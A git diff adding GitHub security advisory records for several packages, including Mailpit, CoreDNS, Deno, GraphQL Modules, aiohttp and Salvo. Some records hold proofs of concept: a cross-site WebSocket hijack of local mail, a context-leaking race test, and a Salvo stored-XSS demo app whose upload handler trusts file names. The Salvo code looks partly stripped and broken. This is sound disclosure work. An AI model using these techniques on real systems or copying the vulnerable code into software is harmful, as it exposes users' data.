{ + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/controlplaneio-fluxcd/flux-operator" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.36.0" + }, + { + "fixed": "0.40.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/controlplaneio-fluxcd/flux-operator/security/advisories/GHSA-4xh5-jcj2-ch8q" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23990" + }, + { + "type": "WEB", + "url": "https://github.com/controlplaneio-fluxcd/flux-operator/pull/610" + }, + { + "type": "WEB", + "url": "https://github.com/controlplaneio-fluxcd/flux-operator/commit/084540424f6de8ba5d88fb1fd1e8472ba29afd7e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/controlplaneio-fluxcd/flux-operator" + }, + { + "type": "WEB", + "url": "https://github.com/controlplaneio-fluxcd/flux-operator/releases/tag/v0.40.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-269", + "CWE-862" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T22:23:33Z", + "nvd_published_at": "2026-01-21T23:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4xx9-vc8v-87hv/GHSA-4xx9-vc8v-87hv.json b/advisories/github-reviewed/2026/01/GHSA-4xx9-vc8v-87hv/GHSA-4xx9-vc8v-87hv.json new file mode 100644 index 0000000000000..aab6b9b00e63d --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4xx9-vc8v-87hv/GHSA-4xx9-vc8v-87hv.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4xx9-vc8v-87hv", + "modified": "2026-01-23T20:14:52Z", + "published": "2026-01-23T00:31:17Z", + "aliases": [ + "CVE-2026-20912" + ], + "summary": "Gitea does not properly validate repository ownership when linking attachments to releases", + "details": "Gitea does not properly validate repository ownership when linking attachments to releases. An attachment uploaded to a private repository could potentially be linked to a release in a different public repository, making it accessible to unauthorized users.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/go-gitea/gitea" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.25.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20912" + }, + { + "type": "WEB", + "url": "https://github.com/go-gitea/gitea/pull/36320" + }, + { + "type": "WEB", + "url": "https://github.com/go-gitea/gitea/pull/36355" + }, + { + "type": "WEB", + "url": "https://github.com/go-gitea/gitea/commit/fbea2c68e8df11cfa94e8ead913b79946780ed30" + }, + { + "type": "WEB", + "url": "https://blog.gitea.com/release-of-1.25.4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/go-gitea/gitea" + }, + { + "type": "WEB", + "url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.4" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-23T20:14:52Z", + "nvd_published_at": "2026-01-22T22:16:19Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-524m-q5m7-79mm/GHSA-524m-q5m7-79mm.json b/advisories/github-reviewed/2026/01/GHSA-524m-q5m7-79mm/GHSA-524m-q5m7-79mm.json new file mode 100644 index 0000000000000..5697bf0df79cf --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-524m-q5m7-79mm/GHSA-524m-q5m7-79mm.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-524m-q5m7-79mm", + "modified": "2026-01-13T15:11:42Z", + "published": "2026-01-13T15:11:42Z", + "aliases": [ + "CVE-2026-22689" + ], + "summary": "Mailpit is vulnerable to Cross-Site WebSocket Hijacking (CSWSH) allowing unauthenticated access to emails", + "details": "**Summary**\nThe Mailpit WebSocket server is configured to accept connections from any origin. This lack of Origin header validation introduces a Cross-Site WebSocket Hijacking (CSWSH) vulnerability.\n\nAn attacker can host a malicious website that, when visited by a developer running Mailpit locally, establishes a WebSocket connection to the victim's Mailpit instance (default ws://localhost:8025). This allows the attacker to intercept sensitive data such as email contents, headers, and server statistics in real-time.\n\n**Vulnerable Code**\nThe vulnerability exists in server/websockets/client.go where the CheckOrigin function is explicitly set to return true for all requests, bypassing standard Same-Origin Policy (SOP) protections provided by the gorilla/websocket library.\n\nhttps://github.com/axllent/mailpit/blob/877a9159ceeaf380d5bb0e1d84017b24d2e7b361/server/websockets/client.go#L34-L39\n\n**Impact**\nThis vulnerability impacts the Confidentiality of the data stored in or processed by Mailpit.\nAlthough Mailpit is often used as a local development tool, this vulnerability allows remote exploitation via a web browser.\n\n- **Scenario**: A developer has Mailpit running at localhost:8025.\n- **Trigger**: The developer visits a malicious website (or a compromised legitimate site) in the same browser.\n- **Exploitation**: The malicious site's JavaScript initiates a WebSocket connection to ws://localhost:8025/api/events. Since the origin check is disabled, the browser allows this cross-origin connection.\n- **Data Leak**: The attacker receives all broadcasted events, including full email details (subjects, sender/receiver info) and server metrics.\n\n**Attack Impact**\n- Real-time notification of new emails\n- Email metadata (sender, subject, recipients)\n- Mailbox statistics\n- All WebSocket broadcast data\n\n**Recommended Fix**\nThe `CheckOrigin` function should be removed to allow gorilla/websocket to enforce its default safe behavior (checking that the Origin matches the Host). Alternatively, strict validation logic should be implemented.\n\n**Proposed Change (Remove unsafe check):**\n\n```go\nvar upgrader = websocket.Upgrader{\n ReadBufferSize: 1024,\n WriteBufferSize: 1024,\n // CheckOrigin: func(r *http.Request) bool { return true }, // REMOVED\n EnableCompression: true,\n}\n```\n\n**Proof of Concept (PoC)**: To reproduce this vulnerability:\n\n- Start Mailpit (default settings).\n- Save the following HTML code as poc.html and serve it from a different origin (e.g., using python http.server on port 8000 or opening it directly as a file).\n- Open the [poc_websocket_hijack.html](https://github.com/user-attachments/files/24522726/poc_websocket_hijack.html) file in your browser.\n- Send a test email to Mailpit or perform any action in the Mailpit UI.\n- Observe that the \"malicious\" page successfully receives the event data.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/axllent/mailpit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.2.6" + }, + { + "fixed": "1.28.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/axllent/mailpit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.0-20260110031614" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-524m-q5m7-79mm" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22689" + }, + { + "type": "WEB", + "url": "https://github.com/axllent/mailpit/commit/6f1f4f34c98989fd873261018fb73830b30aec3f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/axllent/mailpit" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1385" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T15:11:42Z", + "nvd_published_at": "2026-01-10T06:15:51Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-527x-5wrf-22m2/GHSA-527x-5wrf-22m2.json b/advisories/github-reviewed/2026/01/GHSA-527x-5wrf-22m2/GHSA-527x-5wrf-22m2.json new file mode 100644 index 0000000000000..4981c34f145f1 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-527x-5wrf-22m2/GHSA-527x-5wrf-22m2.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-527x-5wrf-22m2", + "modified": "2026-01-08T20:12:58Z", + "published": "2026-01-08T20:12:58Z", + "aliases": [ + "CVE-2025-68151" + ], + "summary": "CoreDNS gRPC/HTTPS/HTTP3 servers lack resource limits, enabling DoS via unbounded connections and oversized messages", + "details": "Multiple CoreDNS server implementations (gRPC, HTTPS, and HTTP/3) lack critical resource-limiting controls. An unauthenticated remote attacker can exhaust memory and degrade or crash the server by opening many concurrent connections, streams, or sending oversized request bodies. The issue is similar in nature to CVE-2025-47950 (QUIC DoS) but affects additional server types that do not enforce connection limits, stream limits, or message size constraints.\n\n### Impact\n\n#### 1. Missing connection and stream limits (gRPC / HTTPS / HTTP3)\n\nThe affected servers do not enforce reasonable upper bounds on concurrent connections or active streams. An attacker can:\n\n- Open many parallel connections\n- Rapidly issue requests without limit\n- Consume memory until the CoreDNS process becomes unresponsive or is terminated by the OOM killer\n\nTesting demonstrates that modest resource configurations (e.g., 256 MB RAM) can be exhausted quickly. Increasing concurrency parameters in the PoCs allows attackers to scale the impact.\n\n#### 2. Missing message-size validation in the gRPC server\n\nThe gRPC server accepts arbitrarily large protobuf messages (default limit ~4 MB per request) without validating against DNS protocol constraints (maximum 64 KB). Sending multiple concurrent oversized messages can quickly exhaust available memory.\n\nThis vulnerability mirrors earlier hardening work in PR https://github.com/coredns/coredns/pull/7490, which applied checks for upstream proxying but left server-side request validation unprotected.\n\n#### Result:\nIn all cases, remote unauthenticated attackers can reliably trigger memory exhaustion and cause a denial of service.\n\n\n### Patches\n_v1.14.0_", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/coredns/coredns" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.14.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/coredns/coredns/security/advisories/GHSA-527x-5wrf-22m2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68151" + }, + { + "type": "WEB", + "url": "https://github.com/coredns/coredns/pull/7490" + }, + { + "type": "WEB", + "url": "https://github.com/coredns/coredns/commit/0d8cbb1a6bcb6bc9c1a489865278b8725fa20812" + }, + { + "type": "PACKAGE", + "url": "https://github.com/coredns/coredns" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-08T20:12:58Z", + "nvd_published_at": "2026-01-08T16:15:59Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5379-f5hf-w38v/GHSA-5379-f5hf-w38v.json b/advisories/github-reviewed/2026/01/GHSA-5379-f5hf-w38v/GHSA-5379-f5hf-w38v.json new file mode 100644 index 0000000000000..02a0061216094 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5379-f5hf-w38v/GHSA-5379-f5hf-w38v.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5379-f5hf-w38v", + "modified": "2026-01-16T15:49:35Z", + "published": "2026-01-16T15:49:35Z", + "aliases": [ + "CVE-2026-22863" + ], + "summary": "Deno node:crypto doesn't finalize cipher", + "details": "### Summary\n\nThe vulnerability allows an attacker to have infinite encryptions. \n\nThis can lead to naive attempts at brute forcing, as well as more refined attacks with the goal to learn the server secrets.\n\n### PoC\n```js\nimport crypto from \"node:crypto\";\n\nconst key = crypto.randomBytes(32);\nconst iv = crypto.randomBytes(16);\nconst cipher = crypto.createCipheriv(\"aes-256-cbc\", key, iv);\ncipher.final()\n\nconsole.log(cipher);\n```\n\n### Expected Output\n```js\nCipheriv {\n _decoder: null,\n _options: undefined,\n Symbol(kHandle): CipherBase {}\n}\n```\n\n### Actual Output\n```js\nCipheriv {\n _events: {\n close: undefined,\n error: undefined,\n prefinish: [Function: prefinish],\n finish: undefined,\n drain: undefined,\n data: undefined,\n end: undefined,\n readable: undefined\n },\n _readableState: ReadableState {\n highWaterMark: 65536,\n buffer: [],\n bufferIndex: 0,\n length: 0,\n pipes: [],\n awaitDrainWriters: null,\n [Symbol(kState)]: 1048844\n },\n _writableState: WritableState {\n highWaterMark: 65536,\n length: 0,\n corked: 0,\n onwrite: [Function: bound onwrite],\n writelen: 0,\n bufferedIndex: 0,\n pendingcb: 0,\n [Symbol(kState)]: 17580812,\n [Symbol(kBufferedValue)]: null\n },\n allowHalfOpen: true,\n _final: [Function: final],\n _maxListeners: undefined,\n _transform: [Function: transform],\n _eventsCount: 1,\n [Symbol(kCapture)]: false,\n [Symbol(kCallback)]: null\n}\n```\n\n### Mitigations\n\nAll users should upgrade to Deno v2.6.0 or newer.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "deno" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.6.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.5.6" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/denoland/deno/security/advisories/GHSA-5379-f5hf-w38v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22863" + }, + { + "type": "PACKAGE", + "url": "https://github.com/denoland/deno" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/releases/tag/v2.6.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-325" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T15:49:35Z", + "nvd_published_at": "2026-01-15T23:15:51Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-53vf-c43h-j2x9/GHSA-53vf-c43h-j2x9.json b/advisories/github-reviewed/2026/01/GHSA-53vf-c43h-j2x9/GHSA-53vf-c43h-j2x9.json new file mode 100644 index 0000000000000..43c5fb1e94aad --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-53vf-c43h-j2x9/GHSA-53vf-c43h-j2x9.json @@ -0,0 +1,90 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-53vf-c43h-j2x9", + "modified": "2026-01-06T15:52:07Z", + "published": "2026-01-05T17:42:31Z", + "aliases": [ + "CVE-2025-68436" + ], + "summary": "Craft CMS vulnerable to potential information disclosure via unchecked asset relocation", + "details": "Authenticated users on a Craft installation could potentially expose sensitive assets via their user profile photo via maliciously crafted requests.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nResources:\n\nhttps://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9\n\nhttps://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "craftcms/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.0.0-RC1" + }, + { + "fixed": "5.8.21" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 5.8.20" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "craftcms/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0-RC1" + }, + { + "fixed": "4.16.17" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.16.16" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/security/advisories/GHSA-53vf-c43h-j2x9" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68436" + }, + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/craftcms/cms" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-200" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-05T17:42:31Z", + "nvd_published_at": "2026-01-05T22:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-53wg-r69p-v3r7/GHSA-53wg-r69p-v3r7.json b/advisories/github-reviewed/2026/01/GHSA-53wg-r69p-v3r7/GHSA-53wg-r69p-v3r7.json new file mode 100644 index 0000000000000..81989acaf810e --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-53wg-r69p-v3r7/GHSA-53wg-r69p-v3r7.json @@ -0,0 +1,92 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-53wg-r69p-v3r7", + "modified": "2026-01-21T16:20:01Z", + "published": "2026-01-16T21:09:08Z", + "aliases": [ + "CVE-2026-23735" + ], + "summary": "GraphQL Modules has a Race Condition issue", + "details": "### Summary\nOriginally reported as an issue #2613 but should be elevated to a security issue as the ExecutionContext is often used to pass authentication tokens from incoming requests to services loading data from backend APIs.\n\n### Details\nWhen 2 or more parallel requests are made which trigger the same service, the context of the requests is mixed up in the service when the context is injected via `@ExecutionContext()`\n\n### PoC\n\nIn a new project/folder, create and install the following `package.json`:\n\n```json\n{\n \"name\": \"GHSA-53wg-r69p-v3r7\",\n \"scripts\": {\n \"test\": \"jest\"\n },\n \"dependencies\": {\n \"graphql-modules\": \"2.4.0\"\n },\n \"devDependencies\": {\n \"@babel/plugin-proposal-class-properties\": \"^7.18.6\",\n \"@babel/plugin-proposal-decorators\": \"^7.28.6\",\n \"babel-plugin-parameter-decorator\": \"^1.0.16\",\n \"jest\": \"^29.7.0\",\n \"reflect-metadata\": \"^0.2.2\"\n }\n}\n```\n\nwith:\n\n```\nnpm i\n```\n\nconfigure `babel.config.json` using:\n\n```json\n{\n \"plugins\": [\n [\"@babel/plugin-proposal-decorators\", { \"legacy\": true }],\n \"babel-plugin-parameter-decorator\",\n \"@babel/plugin-proposal-class-properties\"\n ]\n}\n```\n\nthen write the following test `GHSA-53wg-r69p-v3r7.spec.ts`:\n\n```js\nrequire(\"reflect-metadata\");\nconst {\n createApplication,\n createModule,\n Injectable,\n Scope,\n ExecutionContext,\n gql,\n testkit,\n} = require(\"graphql-modules\");\n\ntest(\"accessing a singleton provider context during another asynchronous execution\", async () => {\n @Injectable({ scope: Scope.Singleton })\n class IdentifierProvider {\n @ExecutionContext()\n context;\n\n getId() {\n return this.context.identifier;\n }\n }\n\n const { promise: gettingBefore, resolve: gotBefore } = createDeferred();\n\n const { promise: waitForGettingAfter, resolve: getAfter } = createDeferred();\n\n const mod = createModule({\n id: \"mod\",\n providers: [IdentifierProvider],\n typeDefs: gql`\n type Query {\n getAsyncIdentifiers: Identifiers!\n }\n\n type Identifiers {\n before: String!\n after: String!\n }\n `,\n resolvers: {\n Query: {\n async getAsyncIdentifiers(_0, _1, context) {\n const before = context.injector.get(IdentifierProvider).getId();\n gotBefore();\n await waitForGettingAfter;\n const after = context.injector.get(IdentifierProvider).getId();\n return { before, after };\n },\n },\n },\n });\n\n const app = createApplication({\n modules: [mod],\n });\n\n const document = gql`\n {\n getAsyncIdentifiers {\n before\n after\n }\n }\n `;\n\n const firstResult$ = testkit.execute(app, {\n contextValue: {\n identifier: \"first\",\n },\n document,\n });\n\n await gettingBefore;\n\n const secondResult$ = testkit.execute(app, {\n contextValue: {\n identifier: \"second\",\n },\n document,\n });\n\n getAfter();\n\n await expect(firstResult$).resolves.toEqual({\n data: {\n getAsyncIdentifiers: {\n before: \"first\",\n after: \"first\",\n },\n },\n });\n\n await expect(secondResult$).resolves.toEqual({\n data: {\n getAsyncIdentifiers: {\n before: \"second\",\n after: \"second\",\n },\n },\n });\n});\n\nfunction createDeferred() {\n let resolve, reject;\n const promise = new Promise((res, rej) => {\n resolve = res;\n reject = rej;\n });\n return {\n promise,\n resolve,\n reject,\n };\n}\n```\n\nand execute using:\n\n```\nnpm test\n```\n\nYour project tree should look like this:\n\n```\nGHSA-53wg-r69p-v3r7\n package.json\n package-lock.json\n babel.config.json\n GHSA-53wg-r69p-v3r7.spec.js\n```\n\n#### Expected vs. Actual Outcome\n\n```diff\n- Expected - 1\n+ Received + 1\n\n Object {\n \"data\": Object {\n \"getAsyncIdentifiers\": Object {\n- \"after\": \"first\",\n+ \"after\": \"second\",\n \"before\": \"first\",\n },\n },\n }\n```\n\n### Impact\n\nAny application that uses services that inject the context using `@ExecutionContext()` from a singleton provider are at risk. The more traffic an application has, the higher the chance for parallel requests, the higher the risk.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "graphql-modules" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.2.1" + }, + { + "fixed": "2.4.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "graphql-modules" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "3.1.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/graphql-hive/graphql-modules/security/advisories/GHSA-53wg-r69p-v3r7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23735" + }, + { + "type": "WEB", + "url": "https://github.com/graphql-hive/graphql-modules/issues/2613" + }, + { + "type": "WEB", + "url": "https://github.com/graphql-hive/graphql-modules/pull/2521" + }, + { + "type": "PACKAGE", + "url": "https://github.com/graphql-hive/graphql-modules" + }, + { + "type": "WEB", + "url": "https://github.com/graphql-hive/graphql-modules/releases/tag/release-1768575025568" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-362" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T21:09:08Z", + "nvd_published_at": "2026-01-16T20:15:51Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-54jq-c3m8-4m76/GHSA-54jq-c3m8-4m76.json b/advisories/github-reviewed/2026/01/GHSA-54jq-c3m8-4m76/GHSA-54jq-c3m8-4m76.json new file mode 100644 index 0000000000000..10007f2f55ba0 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-54jq-c3m8-4m76/GHSA-54jq-c3m8-4m76.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-54jq-c3m8-4m76", + "modified": "2026-01-06T16:06:47Z", + "published": "2026-01-05T23:09:51Z", + "aliases": [ + "CVE-2025-69226" + ], + "summary": "AIOHTTP vulnerable to brute-force leak of internal static file path components", + "details": "### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "aiohttp" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.13.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.13.2" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69226" + }, + { + "type": "WEB", + "url": "https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/aio-libs/aiohttp" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-202", + "CWE-22" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-05T23:09:51Z", + "nvd_published_at": "2026-01-05T23:15:40Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-54m3-5fxr-2f3j/GHSA-54m3-5fxr-2f3j.json b/advisories/github-reviewed/2026/01/GHSA-54m3-5fxr-2f3j/GHSA-54m3-5fxr-2f3j.json new file mode 100644 index 0000000000000..a966f8ce2aa6b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-54m3-5fxr-2f3j/GHSA-54m3-5fxr-2f3j.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-54m3-5fxr-2f3j", + "modified": "2026-01-08T21:37:13Z", + "published": "2026-01-08T21:16:41Z", + "aliases": [ + "CVE-2026-22257" + ], + "summary": "Salvo is vulnerable to stored XSS in the list_html function by uploading files with malicious names", + "details": "# Summary\n\nThe function `list_html` generates a file view of a folder without sanitizing the files or folders names, potentially leading to XSS in cases where a website allows access to public files using this feature, allowing anyone to upload a file.\n\n# Details\n\nThe vulnerable snippet of code is the following:\n[**dir.rs**](https://github.com/salvo-rs/salvo/blob/16efeba312a274739606ce76366d921768628654/crates/serve-static/src/dir.rs#L581)\n\n```rust\n// ... fn list_html(...\n let mut link = \"\".to_owned();\n format!(\n r#\"    {}{}\"#,\n HOME_ICON,\n segments\n .map(|seg| {\n link = format!(\"{link}/{seg}\");\n format!(\"/{seg}\")\n })\n .collect::>()\n .join(\"\")\n )\n// ...\n```\n\n# PoC\n\nhttps://github.com/user-attachments/assets/1e161e17-f033-4cc4-855b-43fd38ed1be4\n\nHere is the example app we used:\n\n`mian.rs`\n```rs\nuse salvo::prelude::*;\nuse salvo::serve_static::StaticDir;\nuse std::path::PathBuf;\nuse tokio::fs;\n\nconst INDEX_HTML: &str = r#\"\n\n StaticDir PoC\n \n

    Upload a file

    \n
    \n \n \n
    \n\n

    Browse uploads:

    \n \n \n\n\"#;\n\n#[handler]\nasync fn index(res: &mut Response) {\n res.render(Text::Html(INDEX_HTML));\n}\n\n#[handler]\nasync fn upload(req: &mut Request, res: &mut Response) {\n fs::create_dir_all(\"uploads\").await.expect(\"create uploads dir\");\n\n let form = match req.form_data().await {\n Ok(v) => v,\n Err(e) => {\n res.status_code(StatusCode::BAD_REQUEST);\n res.render(Text::Plain(format!(\"form_data parse failed: {e}\")));\n return;\n }\n };\n\n let Some(file_part) = form.files.get(\"file\") else {\n res.status_code(StatusCode::BAD_REQUEST);\n res.render(Text::Plain(\"missing file field (name=\\\"file\\\")\"));\n return;\n };\n\n let original_name = file_part.name().unwrap_or(\"upload.bin\");\n\n let mut dest = PathBuf::from(\"uploads\");\n dest.push(original_name);\n\n let tmp_path = file_part.path();\n if let Err(e) = fs::copy(tmp_path, &dest).await {\n res.status_code(StatusCode::INTERNAL_SERVER_ERROR);\n res.render(Text::Plain(format!(\"save failed: {e}\")));\n return;\n }\n\n res.render(Text::Plain(format!(\n \"Uploaded as: {original_name}\\nNow open: http://127.0.0.1:5800/files/\\n\"\n )));\n}\n\n#[tokio::main]\nasync fn main() {\n tracing_subscriber::fmt().init();\n fs::create_dir_all(\"uploads\").await.expect(\"create uploads dir\");\n\n let router = Router::new()\n .get(index)\n .push(Router::with_path(\"upload\").post(upload))\n .push(\n Router::with_path(\"files/{**rest_path}\")\n .get(StaticDir::new(\"uploads\").auto_list(true)),\n );\n\n let acceptor = TcpListener::new(\"127.0.0.1:5800\").bind().await;\n Server::new(acceptor).serve(router).await;\n}\n```\n`Cargo.toml`\n```rs\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nsalvo = { version = \"0.85.0\", features = [\"serve-static\"] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"fs\"] }\ntracing-subscriber = \"0.3\"\n```\n# Impact\n\nJavaScript execution, most likely leading to an account takeover, depending on the site's constraint (CSP, etc…).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "salvo" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.88.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-54m3-5fxr-2f3j" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22257" + }, + { + "type": "PACKAGE", + "url": "https://github.com/salvo-rs/salvo" + }, + { + "type": "WEB", + "url": "https://github.com/salvo-rs/salvo/blob/16efeba312a274739606ce76366d921768628654/crates/serve-static/src/dir.rs#L581" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": 